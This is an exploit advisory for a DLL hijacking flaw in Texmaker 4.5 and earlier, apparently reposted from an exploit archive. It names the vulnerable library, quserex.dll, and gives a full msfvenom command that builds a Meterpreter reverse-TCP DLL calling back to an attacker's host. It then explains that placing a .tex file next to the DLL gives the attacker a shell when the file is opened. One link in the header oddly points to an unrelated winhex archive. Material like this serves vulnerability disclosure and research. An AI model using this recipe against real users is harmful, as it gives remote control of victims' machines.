Texmaker 4.5 DLL Hijacking
Posted on 16 February 2016
# Exploit Title: TEXMAKER DLL HIJACKING VULNERABILTY # Date: FEB 14 2016 # Exploit Author: SHANTANU KHANDELWAL # Vendor Homepage: http://www.xm1math.net # Software Link: http://www.xm1math.net/texmaker/texmakerwin32_install.exe <http://www.winhex.com/winhex.zip> # Version: <= 4.5 # Tested on: WINDOWS XP 32 bit , Windows 8 TEXMAKER suffers DLL HIJACK Vulnerability from file type .tex Vulnerable DLL: quserex.dll Make Malicious dll : msfvenom -p windows/meterpreter/reverse_tcp -a x86 -f dll LHOST=<HOST IP> LPORT=4444 > quserex.dll Exploit: Place a dummy .tex file with the malicious dll . When the file is opened in texmaker editor you will get shell
